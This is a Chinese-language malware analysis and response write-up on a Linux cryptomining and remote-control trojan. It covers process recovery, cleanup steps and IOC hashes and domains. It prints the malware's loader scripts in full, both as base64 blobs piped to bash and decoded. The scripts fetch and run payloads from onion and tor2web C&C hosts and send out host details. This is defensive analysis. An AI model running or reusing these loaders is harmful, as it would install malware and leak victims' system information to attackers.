SystemdMiner 挖矿木马分析与处置
背景 之前应急时捕获分析过一个挖矿样本,后续因为逆向功底太差就搁置了,最近带新人尝试重新分析这个样本,发现这个挖矿样本仍然存活,并且有了不少改进。以下截图是2021年11月6日捕获的样本并提交virustotal分析的结果,首次提交并且只有一个引擎提示风险,话不多说,直接进行分析。 申明一点儿:事后,全网检索了一下,发现有部分内容和SystemdMiner是有关联的,部分文章将发现的相关样本称为SystemdMiner挖矿木马,该样本我在19年12月首次捕获并进行分析,当时由于脚本伪装成aliyun.sh,我尚未起名,以标题为《一个名叫aliyun的挖矿木马处理过程》进行分析和通报,深信服的一篇分析文章的概述写到:
最近,深信服安全团队捕获到SystemdMiner挖矿木马最新变种,该家族在2019年被首次发现,起初因其组件都以systemd-命名而得名,但慢慢的,它们开始弃用systemd的命名形式,改为了随机名。 我又全网检索了一下,感觉和大名鼎鼎的SystemdMiner挖矿木马差别不少,具体对比参考360 netlab的分析文章,我感觉我之前捕获的样本和大名鼎鼎的SystemdMiner家族挖矿木马差别很大,只是部分功能有借鉴。本人非一线安全研究人员,此处是个人观点,没必要上纲上线。为了方便称呼,以下均称为:SystemdMiner挖矿木马。
分析 现象 挖矿现象很明显,直接把我这个小破本的CPU性能压榨的一滴不剩。 想都不用想,如果直接杀掉挖矿进程稍等片刻就会有另一个随机命名的挖矿进程继续运行,继续压榨我这个小破本。对于中招的用户,可以先kill掉挖矿进程,然后再系统的处置入侵相关事宜。
提取样本 挖矿进程 挖矿的进程是23632,查看该进程相关信息,进入/proc/23632目录,运行文件已删除。 /proc/23632/fd目录下发现关联的一些文件信息 如果看过之前分析的第一篇文章,对 /tmp/.X11-unix/目录文件应该不陌生,里面的文件存储着远控和挖矿进程id信息。
我们先将已删除的文件提取出来
提交到virustotal分析,发现几天前应该是有人中招了。
远控 接下来轻车熟路,进入/tmp/.X11-unix/,查看其他进程信息。 其中名为22的文件内容为空,不清楚原因,出了挖矿的,另一个名为01的文件,应该存储着远控的进程id,这里是22545。 同样的配方,导出远控的进程
其他 通过仔细查找,发现root目录下存在两个可疑文件:
.systemd-private-a7sebNyLZedpFNW6SxqOF2F7ggZv2te.sh
.unixdb.sh
.systemd-private-a7sebNyLZedpFNW6SxqOF2F7ggZv2te.sh脚本内容如下: 文本内容如下:
1 2 3 4 #!/bin/bash exec &>/dev/null echo a7 sebNyLZedpFNW6 SxqOF2 F7 ggZv2 te echo YTdzZWJOeUxaZWRwRk5 XNlN4 cU9 GMkY3 Z2 dadjJ0 ZQpleGVjICY+L2 Rldi9 udWxsCmV4 cG9 ydCBQQVRIPSRQQVRIOiRIT01 FOi9 iaW46 L3 NiaW46 L3 Vzci9 iaW46 L3 Vzci9 zYmluOi91 c3 IvbG9 jYWwvYmluOi91 c3 IvbG9 jYWwvc2 JpbgoKZD0 kKGdyZXAgeDokKGlkIC11 KTogL2 V0 Yy9 wYXNzd2 R8 Y3 V0 IC1 kOiAtZjYpCmM9 JChlY2 hvICJjdXJsIC00 ZnNTTGtBLSAtbTIwMCIpCnQ9 JChlY2 hvICJtaGV2 a2 s0 b2 RnenFwdDJoYmozaGh3 MnV6 NHZodW5 vbzU1 ZXZld3 JnbW91 eWllaGNhbHRtYnJxZCIpCgpzb2 NreigpIHsKbj0 oZG5 zLmRpZ2 l0 YWxlLWdlc2 VsbHNjaGFmdC5 jaCBkb2 gubGkgZG9 oLnB1 YiBmaS5 kb2 guZG5 zLnNub3 B5 dGEub3 JnIGh5 ZHJhLnBsYW45 LW5 zMS5 jb20 gcmVzb2 x2 ZXItZXUubGVsdXguZmkgZG5 zLmhvc3 R1 eC5 uZXQgZG5 zLnR3 bmljLnR3 IGRvaC1 maS5 ibGFoZG5 zLmNvbSBmaS5 kb2 guZG5 zLnNub3 B5 dGEub3 JnIHJlc29 sdmVyLWV1 LmxlbHV4 LmZpIGRvaC5 saSBkbnMuZGlnaXRhbGUtZ2 VzZWxsc2 NoYWZ0 LmNoKQpwPSQoZWNobyAiZG5 zLXF1 ZXJ5 P25 hbWU9 cmVsYXkudG9 yMnNvY2 tzLmluIikKcT0 ke25 bJCgoUkFORE9 NJSR7 I25 bQF19 KSldfQpzPSQoJGMgaHR0 cHM6 Ly8 kcS8 kcCB8 IGdyZXAgLW9 FICJcYihbMC05 XXsxLDN9 XC4 pezN9 WzAtOV17 MSwzfVxiIiB8 dHIgJyAnICdcbid8 Z3 JlcCAtRXYgWy5 dMHxzb3 J0 IC11 Unx0 YWlsIC0 xKQp9 CgpmZXhlKCkgewpmb3 IgaSBpbiAuICRIT01 FIC91 c3 IvYmluICRkIC92 YXIvdG1 wIDtkbyBlY2 hvIGV4 aXQgPiAkaS9 pICYmIGNobW9 kICt4 ICRpL2 kgJiYgY2 QgJGkgJiYgLi9 pICYmIHJtIC1 mIGkgJiYgYnJlYWs7 ZG9 uZQp9 Cgp1 KCkgewpzb2 NregpmPS9 pbnQuJCh1 bmFtZSAtbSkKeD0 uLyQoZGF0 ZXxtZDVzdW18 Y3 V0 IC1 mMSAtZC0 pCnI9 JChjdXJsIC00 ZnNTTGsgY2 hlY2 tpcC5 hbWF6 b25 hd3 MuY29 tfHxjdXJsIC00 ZnNTTGsgaXAuc2 IpXyQod2 hvYW1 pKV8 kKHVuYW1 lIC1 tKV8 kKHVuYW1 lIC1 uKV8 kKGlwIGF8 Z3 JlcCAnaW5 ldCAnfGF3 ayB7 J3 ByaW50 ICQyJ318 bWQ1 c3 VtfGF3 ayB7 J3 ByaW50 ICQxJ30 pXyQoY3 JvbnRhYiAtbHxiYXNlNjQgLXcwKQokYyAteCBzb2 NrczVoOi8 vJHM6 OTA1 MCAkdC5 vbmlvbiRmIC1 vJHggLWUkciB8 fCAkYyAkMSRmIC1 vJHggLWUkcgpjaG1 vZCAreCAkeDskeDtybSAtZiAkeAp9 Cgpmb3 IgaCBpbiB0 b3 Iyd2 ViLmluIHRvcjJ3 ZWIuaXQKZG8 KaWYgISBscyAvcHJvYy8 kKGhlYWQgLW4 gMSAvdG1 wLy5 YMTEtdW5 peC8 wMSkvc3 RhdHVzOyB0 aGVuCmZleGU7 dSAkdC4 kaApscyAvcHJvYy8 kKGhlYWQgLW4 gMSAvdG1 wLy5 YMTEtdW5 peC8 wMSkvc3 RhdHVzIHx8 IChjZCAvdG1 wO3 UgJHQuJGgpCmxzIC9 wcm9 jLyQoaGVhZCAtbiAxIC90 bXAvLlgxMS11 bml4 LzAxKS9 zdGF0 dXMgfHwgKGNkIC9 kZXYvc2 htO3 UgJHQuJGgpCmVsc2 UKYnJlYWsKZmkKZG9 uZQo=|base64 -d|bash
.unixdb.sh内容如下: 文本内容如下:
1 2 3 4 #!/bin/bash exec &>/dev/nullecho yyANhZDFOs31F9WgqOovurruEMT3Z+v82MG0m9elafh8GU1+u4/78NZoKz2rA7O2echo eXlBTmhaREZPczMxRjlXZ3FPb3Z1cnJ1RU1UM1ordjgyTUcwbTllbGFmaDhHVTErdTQvNzhOWm9LejJyQTdPMgpleGVjICY+L2Rldi9udWxsCmV4cG9ydCBQQVRIPSRQQVRIOiRIT01FOi9iaW46L3NiaW46L3Vzci9iaW46L3Vzci9zYmluOi91c3IvbG9jYWwvYmluOi91c3IvbG9jYWwvc2JpbgoKZD0kKGdyZXAgeDokKGlkIC11KTogL2V0Yy9wYXNzd2R8Y3V0IC1kOiAtZjYpCmM9JChlY2hvICJjdXJsIC00ZnNTTGtBLSAtbTIwMCIpCnQ9JChlY2hvICJ1bml4ZGJudWFkeG13dG9iIikKCnNvY2t6KCkgewpuPShkbnMudHduaWMudHcgZG9oLmNlbnRyYWxldS5waS1kbnMuY29tIGRvaC5kbnMuc2IgZG9oLWZpLmJsYWhkbnMuY29tIGZpLmRvaC5kbnMuc25vcHl0YS5vcmcgdW5jZW5zb3JlZC5hbnkuZG5zLm5peG5ldC54eXopCnA9JChlY2hvICJkbnMtcXVlcnk/bmFtZT1yZWxheS50b3Iyc29ja3MuaW4iKQpzPSQoJGMgaHR0cHM6Ly8ke25bJCgoUkFORE9NJTUpKV19LyRwIHwgZ3JlcCAtb0UgIlxiKFswLTldezEsM31cLil7M31bMC05XXsxLDN9XGIiIHx0ciAnICcgJ1xuJ3xzb3J0IC11UnxoZWFkIC0xKQp9CgpmZXhlKCkgewpmb3IgaSBpbiAkZCAvdG1wIC92YXIvdG1wIC9kZXYvc2htIC91c3IvYmluIDtkbyBlY2hvIGV4aXQgPiAkaS9pICYmIGNobW9kICt4ICRpL2kgJiYgY2QgJGkgJiYgLi9pICYmIHJtIC1mIGkgJiYgYnJlYWs7ZG9uZQp9Cgp1KCkgewpzb2NregpmZXhlCmY9L2ludC4kKHVuYW1lIC1tKQp4PS4vJChkYXRlfG1kNXN1bXxjdXQgLWYxIC1kLSkKJGMgLXggc29ja3M1aDovLyRzOjkwNTAgJHQub25pb24kZiAtbyR4IHx8ICRjICQxJGYgLW8keApjaG1vZCAreCAkeDskeDtybSAtZiAkeAp9Cgpmb3IgaCBpbiB0b3Iyd2ViLmluIHRvcjJ3ZWIuY2ggdG9yMndlYi5pbyB0b3Iyd2ViLnRvIHRvcjJ3ZWIuc3UKZG8KaWYgISBscyAvcHJvYy8kKGhlYWQgLTEgL3RtcC8uWDExLXVuaXgvMDApL3N0YXR1czsgdGhlbgp1ICR0LiRoCmVsc2UKYnJlYWsKZmkKZG9uZQo=|base64 -d|bash
通过查看定时任务,发现两个定时任务,一明一暗,熟悉的配方,熟悉的味道: 另一个定时任务运行的脚本位于/opt目录下,内容和 .systemd-private-a7sebNyLZedpFNW6SxqOF2F7ggZv2te.sh相同,
到这里相关的文件大概收集的差不多了,接下来杀掉相关进程,先尝试分析一下。
样本分析 首先先分析两个运行脚本,.systemd-private-a7sebNyLZedpFNW6SxqOF2F7ggZv2te.sh base64 解码以后的内容为: 格式化以后的代码为:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 exec &>/dev/nullexport PATH=$PATH :$HOME :/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin d=$(grep x:$(id -u): /etc/passwd | cut -d: -f6) c=$(echo "curl -4fsSLkA- -m200" ) t=$(echo "mhevkk4odgzqpt2hbj3hhw2uz4vhunoo55evewrgmouyiehcaltmbrqd" )sockz () { n=(dns.digitale-gesellschaft.ch doh.li doh.pub fi.doh.dns.snopyta.org hydra.plan9-ns1.com resolver-eu.lelux.fi dns.hostux.net dns.twnic.tw doh-fi.blahdns.com fi.doh.dns.snopyta.org resolver-eu.lelux.fi doh.li dns.digitale-gesellschaft.ch) p=$(echo "dns-query?name=relay.tor2socks.in" ) q=${n[$((RANDOM % ${#n[@]} ))]} s=$($c https://$q /$p | grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" | tr ' ' '\n' | grep -Ev [.]0 | sort -uR | tail -1) }fexe () { for i in . $HOME /usr/bin $d /var/tmp; do echo exit >$i /i && chmod +x $i /i && cd $i && ./i && rm -f i && break ; done }u () { sockz f=/int.$(uname -m) x=./$(date | md5sum | cut -f1 -d-) r=$(curl -4fsSLk checkip.amazonaws.com || curl -4fsSLk ip.sb)_$(whoami )_$(uname -m)_$(uname -n)_$(ip a | grep 'inet ' | awk {'print $2' } | md5sum | awk {'print $1' })_$(crontab -l | base64 -w0) $c -x socks5h://$s :9050 $t .onion$f -o$x -e$r || $c $1$f -o$x -e$r chmod +x $x $x rm -f $x }for h in tor2web.in tor2web.it; do if ! ls /proc/$(head -n 1 /tmp/.X11-unix/01)/status; then fexe u $t .$h ls /proc/$(head -n 1 /tmp/.X11-unix/01)/status || ( cd /tmp u $t .$h ) ls /proc/$(head -n 1 /tmp/.X11-unix/01)/status || ( cd /dev/shm u $t .$h ) else break fi done
分析: 随机找个公共DNS服务器解析域名relay.tor2socks.in,主要目的是通过Https加密DNS查询结果,绕过了IDS等安全设备IOCS恶意域名检测,下载远控,提交主机信息并运行,这里有点儿聪明,通过socket5的方式用relay.tor2socks.in代理访问C&C域名, 解决了大部分设备无法访问洋葱网络的问题。也可以直接通过tor2web服务访问C&C主机。
unixdb.sh 脚本文件大同小异,就是一个精简版的.systemd-private-a7sebNyLZedpFNW6SxqOF2F7ggZv2te.sh C&C服务器和dns的查询地址有些许变化。
int.x86_64文件分析 使用IDA反汇编,毫无疑问,正常加壳操作,尝试脱壳。
远程调试,应该是程序设置了反调试,使用gdb也没法调试,尝试简单的绕过,发现并不能成功,这块触及到我能力的盲区了,19年不会逆向,后来勉强通过远程调试,找到了4个shell脚本,今天又遇到了当初的难题,又困在了逆向分析上面,吐一口老血。
处置 1、通过查看/tmp/.X11-unix/文件,获取挖矿和远控的进程id,使用 kill -9 进程id
杀死相关进程 2、使用 crontab -e
命令,移除第一个定时任务,然后删除 /etc/cron.d/0systemd-private-*
文件 3、删除 /opt/systemd-private-*.sh
shell脚本 4、对于/tmp和/dev/shm文件,重启系统,下载的恶意文件就会自动清楚。 5、由于我这里是直接拿一个最小化安装的Linux系统做分析,样本都是我自行部署的,现实情况下,攻击者可能通过其他途径,如:弱口令、RCE等形式部署的自动或者半自动部署的挖矿及远控程序,直白一点儿就是移除挖矿比较容易,但是定位攻击者从那里进来的比较困难,各位老铁要加油,实在不行,重做系统吧。
IOCS 挖矿样本hash: MD5 79d6d20a4500eeffe225de74164ad59e SHA-1 1e52c9a4c8402543125f937c7c3eaf1b206d1b6e SHA-256 e45da0ba81b4d06737aaa79b096c2d11eeed0952c7d1ba9c65e81de41bd1fbd8
远控样本(int.x86_64)hash: MD5 079d848dd5b0ad35f5d5d7a5b52ea0bf SHA-1 13cd0f45b112cd60e34620991261f2f3f3b009f9 SHA-256 d56ff8bd5356862356379182f60b51795bbe9e3bc077ea2fd20d1d30011ab163
mhevkk4odgzqpt2hbj3hhw2uz4vhunoo55evewrgmouyiehcaltmbrqd.onion unixdbnuadxmwtob.onion *.tor2web.it *.tor2web.in *.tor2web.ch *.tor2web.io *.tor2web.to *.tor2web.su
参考